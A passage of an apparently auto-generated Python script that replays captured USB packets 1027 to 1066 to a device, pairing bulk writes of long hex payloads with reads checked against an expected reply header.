Generated from packet 1027/1028\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1027/1028\")\n # Generated from packet 1029/1030\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5E\\xDD\\x96\\xBC\\xB1\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x31\\x72\\x61\\xA1\\x94\\xCA\\x26\\xF0\"\n b\"\\x4F\\xB7\\x09\\x72\\x1A\\xDE\\xC3\\xB3\\x5D\\xB2\\x59\\xDC\\x52\\xBD\\x5B\\x2A\"\n b\"\\x92\\x8C\\x3E\\x43\\x39\\x48\\xA7\\x9C\\x8B\\x74\\x51\\xFF\\x01\\x6C\\x30\\xA0\"\n b\"\\x4F\\xE3\\x97\\xF5\\x6E\\xDC\\xBF\\x65\\xFA\\x32\\xBA\\x0F\\x84\\x17\\xB8\\xB3\"\n b\"\\xB6\\x5B\\x89\\xAB\\xEA\\xBF\\xBE\\x31\\x48\\x77\\xCD\\xCE\\x64\\x79\\x10\\xEB\"\n b\"\\x11\\xC1\\xC2\\xEA\\x5A\\x17\\x3E\\x43\\x84\\xB8\\xFE\\x31\\x36\\x0C\\x6A\\x07\"\n b\"\\x60\\x32\\x16\\x94\\x42\\x38\\x48\\x5E\\x74\\xD0\\x78\\xEB\\xA4\\xD7\\x8F\\x4D\"\n b\"\\x6E\\xD5\\x48\\x5A\\xCA\\x1C\\xAC\\xB6\\x41\\xC8\\xC3\\xE3\\xC9\\x56\\x29\\xC5\"\n b\"\\x3F\\x38\\x37\\x5B\\xF9\\x7C\\xC4\\xE9\\x38\\x0F\\x9F\\x77\\x4C\\x4D\\x1F\\x6E\"\n b\"\\xA3\\x75\\x03\\x06\\xF9\\x64\\x77\\x74\\x78\\x76\\xE5\\x99\\x19\\xC2\\x7E\\xD5\"\n b\"\\xEB\\x8A\\xB3\\x98\\xA6\\xFC\\xDC\\x26\\xCA\\xBD\\x20\\xB9\\x60\\x8E\\x08\\xF6\"\n b\"\\x9A\\x27\\x51\\x69\\xA7\\x26\\x87\\x9C\\x44\\x10\\x70\\xFD\\x61\\xD9\\xA2\\x05\"\n b\"\\x5E\\x04\\x53\\x36\\x51\\x8A\\xCA\\xB8\\x69\\x17\\x27\\xC6\\xA0\\x9E\\x1D\\x1D\"\n b\"\\x44\\xB7\\x26\\x60\\x3A\\xDA\\x93\\xBD\\xD9\\xB1\\x4E\\x35\\xD4\\x16\\xD1\\xD2\"\n b\"\\x77\\x14\\x1A\\x61\\x75\\x01\\x6C\\x4A\\x09\\x1D\\x81\\xA1\\xC3\\x98\\x6C\\x87\"\n b\"\\x34\\x1B\\x6C\\x8E\\x15\\xFD\\x30\\x92\\x44\\xB1\\x42\\x67\\xF6\\x1F\\xE5\\x9A\"\n b\"\\xEA\\x5C\\xBE\\xE2\\x3D\\x63\\x3C\\x7D\\xD7\\x34\\x26\\xFB\")\n # Generated from packet 1031/1032\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1031/1032\")\n # Generated from packet 1033/1034\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x18\\x04\\x5B\\x28\\x85\\x4C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC0\\x6B\\xAA\\x50\\x57\\xDD\\x37\\x54\"\n b\"\\xBE\\x9D\\x25\\xC4\\xA6\\x50\\x76\\xAE\\xA4\\x4F\\xB4\\x01\\xDE\\xA1\\xDF\\x0E\"\n b\"\\x00\\x10\\x08\\xE6\\xDE\\xD4\\x4F\\xAD\\x54\\xE6\\x5B\\x83\\xC6\\x28\\x53\\x4B\"\n b\"\\x6C\\x10\\x75\\x3D\\x8B\\x15\\xE3\\xE6\\x36\\x20\\x23\\x9D\\x7E\\x43\\x6B\\xD3\"\n b\"\\x7F\\x36\\x81\\xE3\\x53\\x0B\\x6D\\xF9\\x5A\\x87\\xC9\\x98\\xD3\\x23\\x00\\xF0\"\n b\"\\xFD\\xC3\\x37\\x4C\\x05\\x68\\xB9\\x1B\\x86\\x61\\x38\\x52\\x2E\\x85\\x8B\\x92\"\n b\"\\x05\\xA9\\xD8\\x3A\\xCC\\x0B\\xFA\\x22\\x5F\\x59\\x4B\\x57\\x9A\\x66\\xED\\x76\"\n b\"\\x72\\x71\\x9B\\xB5\\x4F\\xC4\\x4C\\x98\\x0F\\x4D\\x6F\\x5F\\x81\\x7C\\x73\\x3E\"\n b\"\\xB8\\x51\\xE6\\x38\\xFF\\x6A\\x9E\\x6F\\xF1\\xE7\\xAF\\x13\\xD8\\x19\\xCE\\x95\"\n b\"\\x2E\\x8F\\xC6\\xC8\\x70\\xA9\\x18\\x42\\xF6\\xEF\\xE6\\xE1\\xA2\\x4E\\x8C\\xEE\"\n b\"\\x66\\x3F\\x30\\xA1\\xC8\\xA6\\x29\\x73\\x92\\x8E\\xF9\\x2D\\xC2\\x9D\\x94\\xD8\"\n b\"\\x77\\xF8\\xBC\\xCC\\x6D\\xBC\\xF9\\x61\\xCA\\x27\\x9C\\x8B\\xA0\\x66\\x42\\x89\"\n b\"\\x37\\xB6\\x7C\\x7C\\x22\\xB0\\xD9\\xB7\\x32\\x21\\x70\\x60\\x8E\\xBF\\x1D\\xF4\"\n b\"\\x65\\xC0\\x40\\x5A\\x3C\\x55\\xBC\\xCD\\x4E\\x71\\x16\\x56\\xF4\\x7F\\x9D\\xDA\"\n b\"\\xB4\\xE2\\xC5\\x1C\\xCE\\xB3\\x08\\x5B\\x5C\\xE1\\x51\\x15\\x5A\\x7B\\x54\\xCB\"\n b\"\\x25\\x2A\\x65\\xFA\\xE8\\xC3\\x20\\xFA\\xBF\\xB9\\x66\\x4A\\x53\\xFB\\x42\\x02\"\n b\"\\x4D\\x2A\\x1C\\xBC\\xFA\\xF4\\xAA\\x00\\x59\\x92\\x65\\x56\")\n # Generated from packet 1035/1036\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1035/1036\")\n # Generated from packet 1037/1038\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD6\\x5D\\x89\\xB7\\x3E\\x51\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x64\\x6E\\xD5\\x77\\xBD\\xB7\\x46\\x17\"\n b\"\\xAF\\xCF\\x16\\xCD\\x39\\xAE\\x69\\x01\\x3E\\xEC\\x33\\x2B\\x4C\\x27\\xFC\\xCF\"\n b\"\\x79\\xFD\\x51\\xC6\\xF6\\xED\\x25\\x20\\x56\\xAB\\x5E\\x46\\x25\\x70\\x24\\x65\"\n b\"\\xEE\\xD2\\x52\\xED\\xB9\\xFF\\x01\\x7D\\xB6\\xB0\\x84\\xD1\\xA7\\xBF\\xDD\\x6B\"\n b\"\\x7C\\x16\\x65\\x4B\\xA7\\x66\\x34\\x12\\x1F\\xC4\\x04\\x44\\xD3\\x7B\\x9A\\xFD\"\n b\"\\x1C\\xC4\\x16\\xC3\\x66\\xA4\\xA8\\x3C\\xAA\\x6C\\xFF\\x11\\x1A\\x18\\x20\\xC6\"\n b\"\\x59\\xD0\\x32\\xF0\\x11\\xC9\\x63\\x79\\x4F\\x3D\\x81\\xC5\\x4E\\x77\\x3F\\xBA\"\n b\"\\x50\\x0C\\xC7\\x31\\x45\\x80\\xE4\\x15\\x23\\x07\\xBA\\x3D\\xE0\\x33\\xC6\\xCC\"\n b\"\\x16\\x0D\\x2B\\xB7\\xCD\\x31\\x0F\\x44\\x9F\\x8B\\xBB\\xDA\\xCD\\x3A\\xE8\\x88\"\n b\"\\xAB\\xC6\\x75\\xA8\\x54\\xAE\\x99\\x9C\\x14\\x8C\\x22\\xB1\\xFF\\xD9\\x9C\\xED\"\n b\"\\x80\\xB7\\xF8\\x1E\\x90\\x7D\\x32\\xBE\\x18\\x1C\\xDA\\xCD\\x48\\xA8\\xEB\\x67\"\n b\"\\xEA\\xB8\\x9B\\x0F\\x2C\\x25\\xAF\\xBA\\x03\\x7A\\xB1\\xF6\\x54\\x77\\xE8\\x9B\"\n b\"\\x2B\\xB9\\x5E\\xAC\\x91\\xB2\\x83\\xDD\\xC1\\xD1\\x98\\xE4\\xC9\\xE2\\xA4\\x87\"\n b\"\\x6B\\xDE\\xF2\\x14\\x91\\x81\\x8D\\x1E\\x5C\\xE2\\x1A\\x12\\x53\\x8B\\x7E\\x57\"\n b\"\\xD3\\xD0\\x05\\x3C\\x68\\x83\\x16\\xAB\\xB3\\x5B\\x40\\x02\\x4E\\x53\\xE6\\x00\"\n b\"\\xDB\\xAF\\xA3\\x85\\xDF\\xAA\\xAD\\x39\\x91\\x87\\x8C\\x3E\\x3B\\x0F\\x7C\\x5A\"\n b\"\\x15\\x8D\\x73\\x7B\\xBD\\xB2\\x46\\xF5\\x08\\x8B\\x94\\xE8\")\n # Generated from packet 1039/1040\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1039/1040\")\n # Generated from packet 1041/1042\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBA\\xCE\\x0A\\x06\\x69\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF0\\x0E\\xCE\\x2E\\xB9\\x3A\\x3C\\x68\"\n b\"\\x43\\xD4\\x06\\x08\\x48\\xEA\\xB4\\x48\\x9F\\x61\\x4A\\x5B\\xCE\\x42\\x4E\\x8A\"\n b\"\\xA5\\xD5\\x54\\x75\\x2D\\x04\\x3D\\x4D\\x8B\\xF3\\x66\\x25\\x68\\xF6\\x86\\x6C\"\n b\"\\xF0\\xBA\\xC4\\xFE\\x76\\x9D\\x3D\\xA2\\x07\\xCE\\x0D\\x8E\\x58\\x51\\x6B\\xF1\"\n b\"\\x4B\\x81\\x7A\\x96\\x41\\x39\\x90\\xF8\\x3D\\xF0\\x84\\x13\\x0D\\x20\\xC4\\x9D\"\n b\"\\x89\\x11\\xCE\\xF2\\xEE\\x57\\xF0\\xFD\\x5D\\x98\\x45\\x0D\\x33\\x36\\x7E\\x04\"\n b\"\\x1F\\x54\\x2B\\x6F\\xC5\\xEE\\xEB\\xCB\\x37\\x80\\x15\\x11\\x0A\\x46\\x7E\\xB2\"\n b\"\\x05\\x31\\x79\\x5A\\x4B\\x96\\xA2\\xC0\\x2F\\x3A\\x8E\\xE3\\x67\\xE5\\x27\\xC2\"\n b\"\\xA1\\xD3\\x9A\\x52\\x54\\x7C\\x5A\\xB4\\x62\\x82\\x08\\xEE\\x58\\x69\\x1C\\x9D\"\n b\"\\x1A\\xDB\\x50\\xAC\\xF5\\x43\\x1B\\xF6\\x30\\xF4\\xB8\\x12\\xC1\\x2F\\x9D\\x04\"\n b\"\\xFF\\x6E\\x72\\x9C\\x0E\\x8C\\x24\\x92\\x46\\xD0\\xF3\\x8A\\x76\\x71\\x04\\x19\"\n b\"\\x7D\\x01\\x8C\\x12\\x67\\xD9\\xA6\\xA4\\x0F\\x68\\x4C\\x7F\\x1F\\x3A\\xBC\\xDA\"\n b\"\\xB1\\x08\\xAA\\x1E\\x8C\\x93\\x23\\xF2\\xD4\\xB1\\x51\\xAB\\x6B\\x6D\\xB2\\x26\"\n b\"\\x7A\\xDF\\x0A\\xFF\\x70\\xD5\\x45\\xE4\\x33\\x8B\\x77\\x04\\x53\\x10\\xF4\\xDE\"\n b\"\\x70\\x5B\\xFC\\x5E\\xE2\\x80\\xD4\\xB0\\x10\\xF0\\xEB\\xC1\\xDA\\x22\\xD6\\x84\"\n b\"\\x2D\\x66\\xCE\\xA8\\x3C\\xA1\\xFA\\x4A\\xFC\\xD7\\x91\\x57\\x86\\xDB\\x5D\\xFE\"\n b\"\\x4E\\x2F\\x29\\xE1\\xCE\\xCA\\xDC\\x1C\\x23\\xD7\\xBF\\x95\")\n # Generated from packet 1043/1044\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1043/1044\")\n # Generated from packet 1045/1046\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6E\\x0F\\x82\\x9E\\x15\\x6A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB7\\x84\\x3C\\x3E\\xB1\\x48\\x28\\x62\"\n b\"\\x5A\\x6E\\x4B\\x1C\\xF7\\x4F\\xF9\\xD5\\x23\\x67\\x99\\x67\\x24\\xD4\\x56\\x47\"\n b\"\\x6A\\x59\\x32\\x9F\\x88\\x59\\xF6\\xBF\\xA2\\xB4\\xC7\\x49\\x1B\\x4A\\x91\\x1D\"\n b\"\\x28\\x91\\x8F\\xEF\\xBB\\xD6\\xFF\\x3E\\xD4\\x52\\x78\\xC7\\x6A\\x3B\\xBB\\x85\"\n b\"\\x9A\\xA7\\x8F\\x26\\xE5\\x84\\x73\\x41\\x05\\xE9\\x2B\\xBE\\x4D\\x76\\x8E\\x77\"\n b\"\\xEE\\x92\\x21\\xA8\\x12\\x3F\\x6B\\xE4\\x37\\x43\\x74\\x24\\x58\\xE8\\xD6\\x49\"\n b\"\\x87\\x57\\x1F\\xA0\\xA2\\xC5\\xCC\\xEC\\x17\\x6B\\xD2\\xE2\\x7F\\x61\\x25\\xB2\"\n b\"\\x3C\\x36\\x52\\x50\\x24\\xE2\\x6E\\x5D\\xEB\\x4E\\x89\\xF6\\xFE\\x70\\x39\\xB4\"\n b\"\\x59\\x5C\\x91\\x65\\x44\\x76\\x1A\\xE8\\xC2\\xDF\\x88\\x23\\xFD\\x4A\\xF0\\xD2\"\n b\"\\x0F\\xD5\\x31\\x3E\\x92\\xEF\\xA9\\x4D\\xE7\\x77\\x89\\x67\\x3E\\xE5\\xC8\\x6C\"\n b\"\\xC6\\x17\\x71\\xE2\\xDB\\xE9\\x3D\\x10\\x09\\xE7\\xB6\\xF9\\x1E\\x3F\\x9C\\x89\"\n b\"\\x74\\xED\\xB3\\x8C\\x6C\\xD2\\xEF\\x9A\\x6B\\x8F\\x66\\x5B\\x50\\xB2\\xE7\\x5B\"\n b\"\\x4D\\x34\\x0C\\x72\\x05\\xA2\\xEF\\xA9\\xAA\\x56\\x73\\x56\\x13\\xBA\\x21\\xF5\"\n b\"\\xC5\\x18\\xCA\\x90\\x12\\x3D\\x67\\xF9\\x92\\xAA\\x84\\x50\\xAA\\x75\\x2A\\xD8\"\n b\"\\x91\\xBE\\xE4\\xDB\\xFA\\x05\\xAD\\x3C\\x54\\xD8\\x56\\x26\\x44\\x4C\\x88\\xC1\"\n b\"\\xD2\\xA7\\xC6\\xB4\\x98\\x6C\\x5A\\xCF\\xF5\\x83\\x52\\xFB\\xC3\\x94\\xE8\\xF3\"\n b\"\\x96\\xFE\\x32\\x58\\xEF\\xA1\\x90\\x24\\x22\\x9C\\x71\\x26\")\n # Generated from packet 1047/1048\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1047/1048\")\n # Generated from packet 1049/1050\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xD6\\x1D\\x04\\x4C\\xF8\\x4F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x62\\x7C\\x30\\xFC\\x00\\xF0\\x9C\\x13\"\n b\"\\x22\\x0A\\x2E\\xAE\\xA9\\xF1\\xB2\\xF0\\x13\\x36\\x07\\x57\\x84\\x37\\x81\\x39\"\n b\"\\x80\\x6B\\x61\\x0B\\x26\\xEB\\xCA\\xC7\\x6F\\x82\\xB9\\x64\\xB1\\x90\\xB4\\xD9\"\n b\"\\xC7\\xA2\\xDC\\x73\\x87\\x72\\x78\\xA8\\x7B\\x97\\x1F\\xB0\\x83\\xD1\\xF5\\xBB\"\n b\"\\x2A\\x8F\\x35\\xC8\\x48\\x9A\\x50\\x6F\\x1F\\xAE\\xDD\\x66\\x76\\xBB\\x37\\x08\"\n b\"\\xBC\\x6F\\x31\\x2F\\xAC\\xA8\\xF4\\x7E\\xEF\\x15\\x3C\\x8D\\x49\\x3F\\xF6\\x3E\"\n b\"\\x34\\xD8\\xF1\\xE2\\xF0\\x64\\x3E\\x8B\\x28\\x21\\xF1\\x6E\\xB7\\x3D\\xBB\\x59\"\n b\"\\x28\\x16\\x5C\\x0E\\x77\\x33\\xAB\\x87\\x21\\xEB\\x9F\\x7A\\x49\\xB4\\x32\\x05\"\n b\"\\xA9\\x21\\x8D\\x5C\\x3D\\x64\\x80\\xF6\\x05\\xEF\\x44\\x92\\xB2\\x13\\x36\\x50\"\n b\"\\x8E\\x35\\x79\\xCD\\x41\\x08\\xD6\\x5D\\xA7\\x1B\\xCA\\xEE\\x41\\x1A\\x98\\x90\"\n b\"\\xE6\\xC5\\x61\\xF4\\x5F\\x7D\\xF1\\x28\\x51\\x4F\\x3F\\x21\\xAB\\x23\\xF1\\xE1\"\n b\"\\xB7\\x14\\x10\\xF6\\x1C\\xF1\\x35\\x53\\xF2\\xF0\\x01\\x2D\\x60\\x41\\x9A\\x32\"\n b\"\\x4A\\x04\\xAC\\x89\\x0E\\x04\\x5F\\x44\\x1B\\x20\\x66\\x9E\\x53\\xAA\\x0E\\x18\"\n b\"\\xEB\\xE0\\x9A\\x9E\\x8B\\xC5\\x65\\x7A\\x59\\xFC\\x71\\xEC\\xE2\\x4D\\xA3\\xC0\"\n b\"\\xBC\\x53\\x28\\x29\\x0D\\x32\\xCA\\xA4\\x52\\xF1\\x4C\\x3E\\x8C\\x46\\x5C\\x3A\"\n b\"\\xC4\\x71\\xDA\\x0D\\xCC\\x17\\xBB\\x71\\xB3\\x8C\\x14\\x10\\x1B\\xFB\\xB1\\xF9\"\n b\"\\x7B\\xD9\\xBF\\x96\\x32\\xB6\\xAE\\x0B\\x97\\xCE\\x06\\xBA\")\n # Generated from packet 1051/1052\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1051/1052\")\n # Generated from packet 1053/1054\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x90\\xD6\\x9A\\xA3\\x46\\x5C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x23\\x2D\\xC2\\xE1\\x41\\x1A\\xCF\"\n b\"\\xE1\\xA0\\xB0\\x05\\x1F\\x0A\\x14\\x88\\xC4\\xEB\\x0A\\x46\\x7B\\x7E\\xD9\\x37\"\n b\"\\xA7\\xF0\\xA8\\xD5\\xEA\\x04\\x18\\xA4\\xF0\\x95\\x0F\\x19\\x0A\\x5A\\x3C\\x95\"\n b\"\\x2E\\x12\\xB3\\xFC\\xD2\\xEB\\x2E\\x50\\x61\\x0D\\x7B\\xAA\\x3D\\xEC\\x2E\\xF7\"\n b\"\\x01\\xD8\\x83\\x9F\\xA6\\x08\\x9A\\xDF\\x30\\x3A\\xA2\\x38\\x7A\\x47\\x44\\x5A\"\n b\"\\x09\\x68\\x07\\x97\\xEB\\xCB\\x57\\xA4\\xEA\\xFB\\xFD\\x90\\xCC\\x79\\x2F\\x38\"\n b\"\\x84\\xD1\\xDE\\x4C\\x95\\xD7\\xE7\\x34\\x17\\x10\\x8D\\xA6\\x30\\x8E\\xD1\\x2E\"\n b\"\\x96\\xBE\\x99\\x63\\x4C\\x84\\x3F\\x8C\\x1A\\x7A\\x62\\x78\\xB4\\x38\\x58\\xDB\"\n b\"\\xE6\\x34\\x38\\xFE\\xE6\\x41\\x12\\x7A\\xD9\\xFC\\x80\\x2C\\x64\\xB0\\xDC\\xF8\"\n b\"\\xD7\\xA8\\x7E\\x0E\\x0D\\x40\\x82\\x2E\\x21\\xCC\\x74\\x77\\x1A\\x89\\x98\\xFB\"\n b\"\\x31\\x30\\x6E\\x0B\\xE0\\x43\\x12\\x73\\xBF\\x08\\xB9\\x5E\\x03\\x0B\\x7A\\x68\"\n b\"\\x07\\x5D\\xD9\\xEB\\x81\\x41\\x0D\\x0C\\x38\\xCB\\xD5\\x08\\x47\\x55\\xD7\\x3A\"\n b\"\\x6E\\x1D\\xAA\\x8D\\xD7\\x64\\xE1\\x26\\xA9\\x7D\\xE3\\xB6\\xA9\\x57\\x8C\\x9B\"\n b\"\\x41\\x50\\xC0\\x2A\\x1A\\xAB\\xA4\\xEA\\xB9\\xA2\\xD9\\x92\\xC9\\x97\\x7A\\x1B\"\n b\"\\x1C\\xF5\\xE5\\x46\\xC6\\xF3\\x0B\\x3C\\xD3\\x07\\xED\\x04\\x5B\\x27\\x80\\x85\"\n b\"\\x06\\x2A\\xA8\\xBA\\x9D\\x9E\\x3D\\xC0\\xE0\\x24\\xAC\\x5E\\x93\\xE9\\x08\\x7F\"\n b\"\\x1D\\x85\\x9A\\xBF\\x8F\\xE7\\xB5\\x16\\x95\\xED\\x49\\x25\")\n # Generated from packet 1055/1056\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1055/1056\")\n # Generated from packet 1057/1058\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x19\\x57\\xFA\\x2F\\x6A\\x48\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE3\\x0E\\x7A\\x57\\xF3\\x16\\x2D\\x43\"\n b\"\\xBD\\xD6\\xDD\\x0B\\xC4\\x8C\\xD9\\xFB\\x3D\\xD3\\x95\\xD1\\xC5\\x5A\\x7C\\x45\"\n b\"\\xAB\\x96\\xA3\\x94\\x27\\xA9\\xB6\\xDC\\x6B\\x23\\xD1\\xF6\\x6D\\x4E\\x17\\x10\"\n b\"\\xDF\\x96\\x4B\\x04\\x17\\x22\\x32\\xE7\\xA5\\xB6\\x69\\x23\\xF8\\x2F\\x7C\\x62\"\n b\"\\x6A\\xFF\\x65\\x33\\x8C\\xB1\\xE3\\xEF\\x4E\\x3F\\x1D\\x81\\x7F\\xC2\\x66\\x25\"\n b\"\\xAA\\x2B\\x8F\\x94\\x0F\\x57\\x81\\xE1\\xC4\\xDA\\xFF\\x02\\x15\\xE6\\xD1\\xCF\"\n b\"\\x7B\\x65\\x16\\xF1\\xA0\\x1B\\x72\\x17\\x31\\x9D\\x84\\x99\\x53\\xE5\\x59\\x03\"\n b\"\\xF2\\x66\\x29\\x03\\x24\\x2E\\x06\\xDA\\x8E\\xF3\\x72\\x94\\x3D\\x20\\x4B\\x86\"\n b\"\\x51\\xF2\\xB2\\xA4\\x05\\x12\\xA2\\xEE\\xE9\\xE0\\xEB\\x69\\x1C\\xD3\\xD5\\x51\"\n b\"\\x21\\x42\\xCF\\xCB\\xA9\\x6F\\x95\\x6D\\x38\\x52\\x2D\\x7C\\xA6\\x89\\xE5\\xCA\"\n b\"\\xF5\\xFF\\x85\\x21\\xD5\\xF5\\xCC\\x64\\x4F\\xF1\\x28\\x0E\\x5F\\x67\\x75\\xE2\"\n b\"\\x24\\x31\\x25\\x53\\x01\\x56\\x1C\\x26\\xA9\\x4F\\xC1\\x6E\\xE5\\x7B\\x1B\\xA5\"\n b\"\\xD7\\x6E\\x5F\\x88\\xF2\\xCE\\x7A\\x20\\xAB\\x3E\\xEB\\x36\\x4C\\x15\\x7A\\x0B\"\n b\"\\x99\\x77\\xE1\\x27\\x16\\x59\\x79\\x9C\\x13\\x40\\x11\\x66\\x2C\\x5D\\x7D\\x85\"\n b\"\\x04\\x26\\xAD\\x62\\x48\\xA4\\xC1\\x63\\x81\\x2A\\xD7\\x7F\\x8B\\x50\\xF5\\xB7\"\n b\"\\x8E\\xE3\\x3B\\xAC\\x95\\xC7\\xCC\\xC0\\xB3\\x65\\xE4\\x32\\x3E\\x33\\x37\\xB7\"\n b\"\\x86\\x81\\x53\\x68\\x76\\x7E\\x17\\xE1\\x0D\\x26\\xCD\\xBA\")\n # Generated from packet 1059/1060\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1059/1060\")\n # Generated from packet 1061/1062\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x33\\x4E\\x20\\x70\\x04\\x30\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE2\\xBF\\x8A\\xA4\\x59\\xDC\\x39\\x8F\"\n b\"\\x24\\x1E\\x16\\x53\\x9A\\x2A\\x95\\x28\\x99\\x16\\xEF\\xB5\\x03\\xBA\\x9F\\x5E\"\n b\"\\x43\\xFA\\x4F\\x2F\\x43\\x29\\xDA\\x80\\x4D\\x14\\xCD\\x2D\\xBC\\xD9\\x8D\\xAB\"\n b\"\\xDE\\x96\\x4D\\x60\\xF3\\xAF\\x11\\xF8\\x39\\x50\\x0D\\x2D\\xD6\\x4A\\x22\\x0C\"\n b\"\\xA4\\x52\\xFD\\x0A\\x51\\x14\\xB1\\x30\\xD9\\x93\\x45\\x44\\x25\\xC7\\xBA\\xA9\"\n b\"\\xD4\\xA0\\x4A\\x1D\\x2C\\xBA\\xBF\\x6F\\x2C\\x10\\x17\\xB5\\x6E\\x10\\xC5\\xA1\"\n b\"\\xA4\\x67\\x1C\\xB3\\x60\\x53\\xF6\\x62\\xE4\\x30\\x46\\x14\\x57\\x90\\xBD\\x7A\"\n b\"\\x36\\x32\\x9F\\x1A\\x05\\x87\\x2A\\x53\\xA9\\x0D\\xA3\\x66\\x15\\x77\\x46\\x4D\"\n b\"\\xAF\\xA1\\x86\\xA2\\x52\\xE0\\xDC\\xD0\\xFB\\x40\\xF9\\x77\\x19\\xE1\\x6F\\x7D\"\n b\"\\x28\\x79\\x51\\x4F\\x82\\x2E\\xB7\\xB2\\x25\\x73\\x17\\xF1\\x81\\x17\\xBE\\x55\"\n b\"\\x62\\x61\\x2E\\xC8\\x06\\x7E\\xB9\\x88\\x34\\xB4\\xFB\\x8D\\x5C\\x85\\x56\\xF7\"\n b\"\\x7A\\xB6\\xC5\\x89\\xDF\\xC5\\xB3\\x75\\x39\\xB6\\xF0\\x4E\\x0E\\xDC\\xDA\\xB4\"\n b\"\\x72\\x89\\x66\\x68\\xEC\\x4B\\xE6\\x69\\xDF\\xEF\\xC0\\x73\\x1B\\x25\\x7C\\x79\"\n b\"\\x0E\\x4A\\xCD\\xEC\\xC5\\xC8\\x4B\\xBB\\x2C\\xB4\\xA5\\xEF\\xCA\\x75\\xB7\\xB4\"\n b\"\\x19\\x55\\x04\\x05\\xB1\\x79\\x2F\\x24\\xF9\\x9C\\x81\\xB7\\xD9\\xDD\\x30\\xCD\"\n b\"\\x44\\xFF\\xAA\\x4F\\x93\\x64\\x5C\\x58\\x93\\x61\\x2C\\xE3\\x0F\\xF6\\x5C\\x93\"\n b\"\\x83\\x02\\xD7\\xB9\\x4B\\x3B\\x7B\\x23\\x26\\x79\\x91\\xB2\")\n # Generated from packet 1063/1064\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1063/1064\")\n # Generated from packet 1065/1066\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x74\\x76\\x02\\x68\\x96\\x17\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x77\\x32\\x1E\\x77\\x7C\\x44\\x9D\\x58\"\n b\"\\x75\\xC2\\x75\\xD1\\x4F\\xD0\\x7F\\x55\\xB3\\x36\\x07\\x20\\xAB\\x35\\xE7\\xBE\"\n b\"\\x8C\\xC0\\x81\\x5C\\x9F\\xFD\\xFF\\xF2\\x99\\xBE\\x95\\x04\\x5B\\xDD\\x29\\x99\"\n b\"\\x4E\\x9F\\x45\\xEC\\x9F\\x76\\xD7\\x6A\\x87\\xD8\\x76\\xE9\\x19\\x5B\\xDF\\x28\"\n b\"\\x4E\\x78\\x13\\x0C\\xF9\\x5E\\xC4\\xA7\\x41\\xA1\\xC2\\xBE\\xBF\\x0C\\xD4\\x3F\"\n b\"\\x6E\\x39\\x5A\\xCA\\x91\\xC7\\x02\\xA6\\xAB\\x5F\\xB9\\xDF\\xFA\\x2B\\x1B\\x9D\"\n b\"\\x14\\x6F\\x73\\x71\\xCF\\x15\\x7C\\xE3\\x95\\x51\\xAF\\xBB\\x2D\\x24\\x58\\x96\"\n b\"\\xB6\\xDD\\xAA\\xFA\\xE1\\xA8\\xDD\\x6C\\x4D\\x8A\\x6F\\x3A\\x5D\\x41\\xA3\\x68\"\n b\"\\xEE\\xA7\\x1A\\x16\\xE8\\x7C\\xB3\\x8B\\x23\\xCA\\x5A\\xB8\\x15\\x73\\xDF\\xBE\"\n b\"\\x67\\xB1\\x92\\x6D\\xD6\\xEE\\x02\\x35\\xB0\\x33\\x5C\\xD8\\x63\\x14\\x13\\x57\"\n b\"\\xF3\\x0B\\x79\\xDD\\x9A\\x12\\xD4\\xD0\\x93\\x33\\xE2\\x77\\x98\\xB7\\x78\\x20\"\n 